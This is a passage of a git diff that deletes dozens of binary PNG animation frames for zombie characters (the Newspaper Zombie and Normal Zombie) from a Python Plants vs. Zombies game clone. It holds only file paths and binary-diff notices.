Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_11.png deleted file mode 100644 index bcca03be231..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_12.png deleted file mode 100644 index 4c12286ae43..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_13.png deleted file mode 100644 index c550703f9e6..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_14.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_14.png deleted file mode 100644 index b24872b7862..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_14.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_15.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_15.png deleted file mode 100644 index c64ab012335..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_15.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_2.png deleted file mode 100644 index a149ca98aec..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_3.png deleted file mode 100644 index 185d297c143..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_4.png deleted file mode 100644 index ba4754004c2..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_5.png deleted file mode 100644 index 3a86a12ecdc..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_6.png deleted file mode 100644 index e3beb84e01d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_7.png deleted file mode 100644 index 2f85a78115c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_8.png deleted file mode 100644 index e24c10466c5..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_9.png deleted file mode 100644 index 87429e18a3b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_0.png deleted file mode 100644 index 1720cd910f8..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_1.png deleted file mode 100644 index 3689fab593c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_2.png deleted file mode 100644 index ed0303f276d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_3.png deleted file mode 100644 index 795e932c6e7..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_4.png deleted file mode 100644 index deafa99842f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_5.png deleted file mode 100644 index 280c177b3c6..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_6.png deleted file mode 100644 index f2b9a313be3..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHeadAttack/NewspaperZombieLostHeadAttack_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_0.png deleted file mode 100644 index c7e638ae3a7..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_1.png deleted file mode 100644 index 492e1472249..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_10.png deleted file mode 100644 index e00f96184a7..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_11.png deleted file mode 100644 index 31e0e52fb43..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_12.png deleted file mode 100644 index a25e90e8ea8..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_13.png deleted file mode 100644 index 7776e8ad6b2..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_2.png deleted file mode 100644 index c2584a68537..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_3.png deleted file mode 100644 index b274f755922..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_4.png deleted file mode 100644 index a3a36f0a450..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_5.png deleted file mode 100644 index 1c9970693c8..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_6.png deleted file mode 100644 index efcc49362fe..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_7.png deleted file mode 100644 index 3496cf577c6..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_8.png deleted file mode 100644 index 666b106a96f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_9.png deleted file mode 100644 index 252c33da3a3..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaper/NewspaperZombieNoPaper_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_0.png deleted file mode 100644 index 60d92987e67..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_1.png deleted file mode 100644 index 30203872235..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_2.png deleted file mode 100644 index 7151681374f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_3.png deleted file mode 100644 index 0ab9bfe2882..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_4.png deleted file mode 100644 index e4b8ff55b1c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_5.png deleted file mode 100644 index f603e86b978..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_6.png deleted file mode 100644 index d3c28b43215..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieNoPaperAttack/NewspaperZombieNoPaperAttack_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_0.png deleted file mode 100644 index 7fce73660ef..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_1.png deleted file mode 100644 index 71aed22cfc6..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_10.png deleted file mode 100644 index 34135925550..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_11.png deleted file mode 100644 index 3b316cea5bb..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_12.png deleted file mode 100644 index 17d2eee3f91..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_13.png deleted file mode 100644 index bd913423ae6..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_14.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_14.png deleted file mode 100644 index 34e07db86e6..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_14.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_15.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_15.png deleted file mode 100644 index ef229398077..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_15.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_16.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_16.png deleted file mode 100644 index db716a5885c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_16.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_17.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_17.png deleted file mode 100644 index 67d885af227..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_17.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_18.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_18.png deleted file mode 100644 index 9715aaa7f16..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_18.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_19.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_19.png deleted file mode 100644 index f7371506842..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_19.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/BoomDie/BoomDie_2.png deleted file mode 100644 index 141893bb49d..00000000000 Binary files a/Add Code 